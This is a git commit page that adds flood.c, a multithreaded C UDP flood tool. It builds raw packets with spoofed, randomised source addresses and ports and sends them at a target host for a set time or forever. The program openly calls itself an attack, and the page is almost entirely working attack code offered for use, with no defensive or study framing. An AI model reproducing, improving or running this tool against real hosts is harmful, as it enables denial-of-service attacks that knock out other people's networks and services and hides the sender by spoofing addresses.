summaryrefslogtreecommitdiff
path: root/source/flood.c
diff options
context:
space:
mode:
authorJake Mannens <jakem_5@hotmail.com>2016-04-05 13:52:34 +1000
committerJake Mannens <jakem_5@hotmail.com>2016-04-05 13:52:34 +1000
commit65ce53bab412623b6b7b39f2fba3536619175537 (patch)
treeb038ee9203db4e922289e3b683c83e044edb1c1e /source/flood.c
new file: Makefile
new file: build.sh new file: man/flood.1.pod new file: package/DEBIAN/control new file: package/usr/share/doc/flood/README.gz new file: package/usr/share/doc/flood/changelog.gz new file: package/usr/share/doc/flood/copyright new file: package/usr/share/man/man1/flood.1.gz new file: source/Makefile new file: source/flood.c new file: version
Diffstat (limited to 'source/flood.c')
-rw-r--r--source/flood.c224
1 files changed, 224 insertions, 0 deletions
diff --git a/source/flood.c b/source/flood.c
new file mode 100644
index 0000000..bdab75a
--- /dev/null
+++ b/source/flood.c
@@ -0,0 +1,224 @@
+#include <arpa/inet.h>
+#include <errno.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <pthread.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/socket.h>
+#include <time.h>
+#include <unistd.h>
+
+#define DEFAULT_DELAY 0
+#define DEFAULT_PACKET_SIZE 1024
+#define DEFAULT_THREADS 40
+
+void* udpflood_thread(void*);
+void* kill_thread(void*);
+void handle_signal(int);
+int dns_resolve(char*, struct in_addr*);
+void print_usage(char*);
+
+struct udpflood_args {
+ unsigned char running;
+ in_addr_t address;
+ size_t packet_size;
+};
+
+struct udpflood_args thread_args;
+
+char *size_suffixes[] = { "B", "KB", "GB", "TB", "PB", "EB" };
+
+int main(int argc, char *argv[]) {
+ int i, status;
+
+ time_t delay = DEFAULT_DELAY;
+ size_t packet_size = DEFAULT_PACKET_SIZE;
+ int threads = DEFAULT_THREADS;
+
+ int flag;
+ int flags = 1;
+ while((flag = getopt(argc, argv, "d:s:t:")) != -1) {
+ switch(flag) {
+ case 'd':
+ delay = (time_t) atoi(optarg);
+ break;
+ case 's':
+ packet_size = (size_t) atoi(optarg);
+ break;
+ case 't':
+ threads = atoi(optarg);
+ break;
+ case '?':
+ exit(EXIT_FAILURE);
+ break;
+ }
+ flags++;
+ }
+
+ if(argc - flags < 1) {
+ printf("%s: Missing Address!\n", argv[0]);
+ print_usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ char* address_string = argv[argc - 1];
+ struct in_addr address;
+ status = inet_aton(address_string, &address);
+ if(status == 0) {
+ status = dns_resolve(address_string, &address);
+ if(status == -1) {
+ printf("%s: Invalid Address!\n", argv[0]);
+ print_usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ srand(time(NULL));
+ signal(SIGINT, handle_signal);
+
+ thread_args.address = address.s_addr;
+ thread_args.packet_size = packet_size;
+ thread_args.running = 1;
+
+ printf("Flooding %s (%s)\n", address_string, inet_ntoa(address));
+ if(delay == 0) {
+ printf(" Duration: Forever\n");
+ } else {
+ printf(" Duration: %d seconds\n", (int) delay);
+ }
+ printf(" Threads: %d\n", threads);
+ i = 0;
+ size_t size = packet_size;
+ while(size >= 1024) {
+ size /= 1024;
+ i++;
+ }
+ if(i < (sizeof(size_suffixes) / sizeof(char*))) {
+ printf(" Packet Size: %zu%s\n", size, size_suffixes[i]);
+ } else {
+ printf(" Packet Size: %zu%s\n", packet_size, size_suffixes[0]);
+ }
+
+ time_t start_time = time(NULL);
+
+ pthread_t tids[threads];
+ for(i = 0; i < threads; i++) {
+ pthread_create(&tids[i], NULL, &udpflood_thread, &thread_args);
+ }
+
+ time_t end_time = time(NULL) + delay;
+ unsigned char infinite_delay = 0;
+ if(delay <= 0) infinite_delay = 1;
+ while(time(NULL) < end_time || infinite_delay && thread_args.running);
+
+ printf("Ending attack...\n");
+ if(infinite_delay) printf("Attacked for %d seconds\n", (int) (time(NULL) - start_time));
+ pthread_t kill_tid;
+ pthread_create(&kill_tid, NULL, &kill_thread, NULL);
+ thread_args.running = 0;
+ for(i = 0; i < threads; i++) {
+ pthread_join(tids[i], NULL);
+ }
+ exit(EXIT_SUCCESS);
+}
+
+void* udpflood_thread(void* args_ptr) {
+ int i, status;
+
+ struct udpflood_args* args = (struct udpflood_args*) args_ptr;
+
+ int sock_fd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
+ if(sock_fd < 0) return NULL;
+ int val = 1;
+ int* ptr = &val;
+ status = setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(val));
+ if(status < 0) return NULL;
+
+ struct ip_header {
+ unsigned char ihl;
+ unsigned char tos;
+ unsigned short len;
+ unsigned short ident;
+ unsigned short offset;
+ unsigned char ttl;
+ unsigned char protocol;
+ unsigned short checksum;
+ unsigned int source;
+ unsigned int dest;
+ };
+
+ struct udp_header {
+ unsigned short source_port;
+ unsigned short dest_port;
+ unsigned short len;
+ unsigned short checksum;
+ };
+
+ void* packet = malloc(sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
+ memset(packet, 0, sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
+ struct ip_header* ip = (struct ip_header*) packet;
+ struct udp_header* udp = (struct udp_header*) (packet + sizeof(struct ip_header));
+ unsigned char* data = packet + sizeof(struct ip_header) + sizeof(struct udp_header);
+ for(i = 0; i < args->packet_size; i++) data[i] = rand();
+
+ ip->ihl = 5 | (4 << 4);
+ ip->tos = 46 << 2;
+ ip->len = sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size;
+ ip->ident = htons(rand());
+ ip->ttl = 64;
+ ip->protocol = 17;
+ ip->dest = args->address;
+
+ udp->len = htons(sizeof(struct udp_header) + args->packet_size);
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = args->address;
+
+ while(args->running) {
+ unsigned short dest_port = rand();
+ ip->source = htons(rand());
+ udp->source_port = htons(rand());
+ udp->dest_port = htons(rand());
+ ip->checksum = 0;
+ addr.sin_port = htons(dest_port);
+ sendto(sock_fd, packet, ip->len, 0, (struct sockaddr*) &addr, sizeof(addr));
+ }
+
+ free(packet);
+ close(sock_fd);
+}
+
+void* kill_thread(void* args_ptr) {
+ time_t end_time = time(NULL) + 5;
+ while(time(NULL) < end_time);
+ printf("Failed to close threads! Terminating...\n");
+ exit(EXIT_SUCCESS);
+}
+
+void handle_signal(int signal) {
+ if(signal == SIGINT) {
+ printf("\nCaught SIGINT\n");
+ thread_args.running = 0;
+ }
+}
+
+int dns_resolve(char* name, struct in_addr* address) {
+ struct hostent *he;
+ he = gethostbyname(name);
+ if(he == NULL) return -1;
+ in_addr_t **addr = (in_addr_t**) he->h_addr_list;
+ address->s_addr = *addr[0];
+ return 0;
+}
+
+void print_usage(char* command) {
+ printf("Usage: %s [ -d seconds ] [ -s bytes ] [ -t threads ] <address>\n", command);
+ printf("\n");
+ printf(" -d seconds Sets the duration of the attack in seconds.\n");
+ printf(" -s bytes Overrides the default packet size in bytes.\n");
+ printf(" -t threads Specifies the number of threads for the attack.\n");
+ printf("\n");
+}